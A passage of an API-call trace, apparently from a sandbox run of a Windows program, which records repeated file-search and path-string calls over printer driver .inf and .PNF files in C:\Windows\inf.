dwReserved1=0x0, cFileName="prnlx007.inf", cAlternateFileName="")) returned 1 [0130.587] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.587] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx006.PNF") returned="prnlx006.PNF" [0130.588] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.588] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.588] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb09fd7, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8fb09fd7, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8fb09fd7, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2bbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx007.PNF", cAlternateFileName="")) returned 1 [0130.588] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.588] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx007.inf") returned="prnlx007.inf" [0130.588] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.588] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.588] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cf4a89f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf4a89f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf4a89f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x206c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx008.inf", cAlternateFileName="")) returned 1 [0130.588] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.589] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx007.PNF") returned="prnlx007.PNF" [0130.589] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.589] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.589] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcacefa, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8fcacefa, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8fcacefa, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2294, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx008.PNF", cAlternateFileName="")) returned 1 [0130.589] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.589] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx008.inf") returned="prnlx008.inf" [0130.589] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.589] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.589] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cf709ff, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf709ff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf709ff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1646, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx009.inf", cAlternateFileName="")) returned 1 [0130.590] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.590] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx008.PNF") returned="prnlx008.PNF" [0130.590] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.590] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.590] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb789c, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8fdb789c, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8fdb789c, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx009.PNF", cAlternateFileName="")) returned 1 [0130.590] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.590] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx009.inf") returned="prnlx009.inf" [0130.590] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.590] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.591] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cf709ff, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf709ff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf709ff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xda2, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00a.inf", cAlternateFileName="")) returned 1 [0130.591] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.591] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx009.PNF") returned="prnlx009.PNF" [0130.591] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.591] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.591] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924fe3e4, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x924fe3e4, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x924fe3e4, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00a.PNF", cAlternateFileName="")) returned 1 [0130.591] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.592] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00a.inf") returned="prnlx00a.inf" [0130.592] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.592] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.592] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cf709ff, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf709ff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf709ff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x31a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00b.inf", cAlternateFileName="")) returned 1 [0130.592] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.592] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00a.PNF") returned="prnlx00a.PNF" [0130.592] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.592] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.592] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x925bcac6, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x925bcac6, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x925bcac6, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00b.PNF", cAlternateFileName="")) returned 1 [0130.593] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.593] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00b.inf") returned="prnlx00b.inf" [0130.593] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.593] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.593] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cf96b5f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf96b5f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf96b5f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1092, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00c.inf", cAlternateFileName="")) returned 1 [0130.593] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.593] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00b.PNF") returned="prnlx00b.PNF" [0130.593] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.593] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.594] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9267b1a7, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x9267b1a7, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x9267b1a7, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1dbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00c.PNF", cAlternateFileName="")) returned 1 [0130.594] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.594] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00c.inf") returned="prnlx00c.inf" [0130.594] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.594] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.594] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cf96b5f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf96b5f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf96b5f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x20c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00d.inf", cAlternateFileName="")) returned 1 [0130.594] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.594] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00c.PNF") returned="prnlx00c.PNF" [0130.594] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.594] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.595] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92928a6c, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x92928a6c, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x92928a6c, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x22bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00d.PNF", cAlternateFileName="")) returned 1 [0130.595] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.595] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00d.inf") returned="prnlx00d.inf" [0130.595] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.595] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.595] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfbccc0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfbccc0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfbccc0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00e.inf", cAlternateFileName="")) returned 1 [0130.595] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.595] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00d.PNF") returned="prnlx00d.PNF" [0130.595] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.595] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.596] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929e714d, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x929e714d, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x929e714d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00e.PNF", cAlternateFileName="")) returned 1 [0130.596] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.596] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00e.inf") returned="prnlx00e.inf" [0130.596] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.596] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.596] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfbccc0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfbccc0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfbccc0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00v.inf", cAlternateFileName="")) returned 1 [0130.596] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.597] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00e.PNF") returned="prnlx00e.PNF" [0130.597] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.597] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x935a7e03, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x935a7e03, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x935a7e03, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00v.PNF", cAlternateFileName="")) returned 1 [0130.597] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.597] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00v.inf") returned="prnlx00v.inf" [0130.597] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.597] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfbccc0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfbccc0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfbccc0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00w.inf", cAlternateFileName="")) returned 1 [0130.597] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.598] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00v.PNF") returned="prnlx00v.PNF" [0130.598] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.598] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.598] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9361a224, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x9361a224, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x9361a224, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00w.PNF", cAlternateFileName="")) returned 1 [0130.598] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.598] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00w.inf") returned="prnlx00w.inf" [0130.598] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.598] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.599] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfe2e20, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfe2e20, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfe2e20, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00x.inf", cAlternateFileName="")) returned 1 [0130.599] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.599] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00w.PNF") returned="prnlx00w.PNF" [0130.599] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.599] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.599] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936664e4, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x936664e4, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x936664e4, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1644, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00x.PNF", cAlternateFileName="")) returned 1 [0130.599] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.599] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00x.inf") returned="prnlx00x.inf" [0130.599] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.600] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.600] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfe2e20, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfe2e20, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfe2e20, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x9ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00y.inf", cAlternateFileName="")) returned 1 [0130.600] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.600] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00x.PNF") returned="prnlx00x.PNF" [0130.600] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.600] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.600] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936b27a5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x936b27a5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x936b27a5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x177c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00y.PNF", cAlternateFileName="")) returned 1 [0130.600] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.601] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx00y.inf") returned="prnlx00y.inf" [0130.601] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.601] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.601] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cfe2e20, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cfe2e20, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cfe2e20, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx00z.inf", cAlternateFileName="")) returned 1 [0130.601] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, 